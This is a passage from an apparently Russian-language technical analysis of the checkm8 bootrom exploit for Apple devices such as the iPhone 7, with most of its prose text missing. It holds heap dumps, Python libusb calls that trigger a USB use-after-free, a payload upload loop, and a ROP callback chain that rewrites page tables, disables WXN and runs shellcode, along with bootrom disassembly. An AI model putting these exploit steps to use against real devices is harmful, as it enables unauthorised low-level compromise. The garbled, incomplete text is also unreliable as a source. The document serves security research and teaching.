00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 94 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9440 0x80 non-free 0x80 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x94c0 0x180 non-free 0x80 0 00000000: E4 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9640 // zlps[1] 0x80 non-free 0x180 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x96c0 // descs[0], Nonce 0x140 non-free 0x80 0 00000000: EA 03 20 00 4E 00 4F 00 4E 00 43 00 3A 00 35 00 .. .NONC:.5. 00000010: 35 00 46 00 38 00 43 00 41 00 39 00 37 00 41 00 5.F.8.CA9.7.A. 00000020: 46 00 45 00 36 00 30 00 36 00 43 00 39 00 41 00 FE6.0.6.C.9.A. 00000030: 41 00 31 00 31 00 32 00 44 00 38 00 42 00 37 00 A.1.1.2.D.8.B.7. 00000040: 43 00 46 00 33 00 35 00 30 00 46 00 42 00 36 00 CF3.5.0.FB6. 00000050: 35 00 37 00 36 00 43 00 41 00 41 00 44 00 30 00 5.7.6.CAAD0. 00000060: 38 00 43 00 39 00 35 00 39 00 39 00 34 00 41 00 8.C.9.5.9.9.4.A. 00000070: 46 00 32 00 34 00 42 00 43 00 38 00 44 00 32 00 F.2.4.BC8.D.2. 00000080: 36 00 37 00 30 00 38 00 35 00 43 00 31 00 20 00 6.7.0.8.5.C.1. . 00000090: 53 00 4E 00 4F 00 4E 00 3A 00 42 00 42 00 41 00 SNON:.BBA 000000A0: 30 00 41 00 36 00 46 00 31 00 36 00 42 00 35 00 0.A.6.F.1.6.B.5. 000000B0: 31 00 37 00 45 00 31 00 44 00 33 00 39 00 32 00 1.7.E.1.D.3.9.2. chunk at 0x9800 // descs[1], Manufacturer 0x80 non-free 0x140 0 00000000: 16 03 41 00 70 00 70 00 6C 00 65 00 20 00 49 00 ..Apple .I. 00000010: 6E 00 63 00 2E 00 D6 D7 D8 D9 DA DB DC DD DE DF nc............ 00000020: E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF ................ 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9880 // descs[2], Product 0x80 non-free 0x80 0 00000000: 3E 03 41 00 70 00 70 00 6C 00 65 00 20 00 4D 00 >.Apple .M. 00000010: 6F 00 62 00 69 00 6C 00 65 00 20 00 44 00 65 00 obile .De 00000020: 76 00 69 00 63 00 65 00 20 00 28 00 44 00 46 00 vice .(.DF 00000030: 55 00 20 00 4D 00 6F 00 64 00 65 00 29 00 FE FF U. .Mode)... chunk at 0x9900 // descs[3], Serial number 0x140 non-free 0x80 0 00000000: C6 03 43 00 50 00 49 00 44 00 3A 00 38 00 30 00 ..CPID:.8.0. 00000010: 31 00 30 00 20 00 43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 

, High Speed Full Speed , IO -. , , , . , .


2. IO-


 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device) 

OUT - . , io_buffer . DFU DFU_CLR_STATUS , DFU .


3. usb_device_io_request use-after-free


 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50) 

usb_device_io_request t8010_overwrite , .


t8010_nop_gadget 0x1800B0800 callback next usb_device_io_request .


t8010_nop_gadget , , LR , - free callback - usb_core_complete_endpoint_io . , , .


 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

next INSECURE_MEMORY + 0x800 . INSECURE_MEMORY , 0x800 callback-chain , .


4.


 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50) 

. :


 0x1800B0000: t8010_shellcode #  shell-code ... 0x1800B0180: t8010_handler #   usb- ... 0x1800B0400: 0x1000006a5 #     #  SecureROM (0x100000000 -> 0x100000000) #        ... 0x1800B0600: 0x60000180000625 #     #  SecureRAM (0x180000000 -> 0x180000000) #        0x1800B0608: 0x1800006a5 #     #    0x182000000  0x180000000 #           0x1800B0610: disabe_wxn_arm64 #    WXN 0x1800B0800: usb_rop_callbacks # callback-chain 

5. callback-chain


 dfu.usb_reset(device) dfu.release_device(device) 

USB usb_device_io_request . , callback . :


 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET 

, 0x70 . f(x) f x .


, Unicorn Engine . uEmu .



iPhone 7 .


5.1. dc_civac 0x1800B0600


 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET 

. , .


5.2. dmb


 0000000100000478: DMB SY 000000010000047C: RET 

, , . , , .


5.3. enter_critical_section()


.


5.4. write_ttbr0(0x1800B0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 0x1800B0000 . INSECURE MEMORY , . , :


 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ... 

5.5. tlbi


 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET 

, .


5.6. 0x1820B0610 - disable_wxn_arm64


 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET 

WXN (Write permission implies Execute-never), RW . WXN - .


5.7. write_ttbr0(0x1800A0000)


 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET 

TTBR0_EL1 . BootROM , INSECURE_MEMORY .


5.8. tlbi


.


5.9. exit_critical_section()


.


5.10. 0x1800B0000


shellcode .


, callback-chainWXN shellcode RW -.


6. shellcode


shellcode src/checkm8_arm64.S :


6.1. USB -


usb_core_hs_configuration_descriptor usb_core_fs_configuration_descriptor , . . USB -, shellcode .


6.2. USBSerialNumber


- , " PWND:[checkm8]" . , .


6.3. USB -


USB - , .


6.4. USB - TRAMPOLINE ( 0x1800AFC00 )


USB - wValue 0xffff , , . , : memcpy , memset exec ( ).


.


USB


Proof-of-Concept checkm8 Arduino Usb Host Shield . PoC iPhone 7 , . iPhone 7 DFU Usb Host Shield , PWND:[checkm8] , USB - ipwndfu ( , - ..). , , USB -. USB_Host_Shield_2.0 . , patch- .




. checkm8 . , . jailbreak-. , jailbreak checkm8checkra1n . , jailbreak ( A5 A11 ) iOS . iWatch , Apple TV . , .


jailbreak, Apple. checkm8 verbose- iOS , SecureROM GID - . , , JTAG/SWD . , , . , checkm8 , Apple .


Referensi


  1. Jonathan Levin, *OS Internals: iBoot
  2. Apple, iOS Security Guide
  3. littlelailo, apollo.txt
  4. usb.org
  5. USB in a NutShell
  6. ipwndfu
  7. ipwndfu LinusHenze

Source: https://habr.com/ru/post/id471668/


All Articles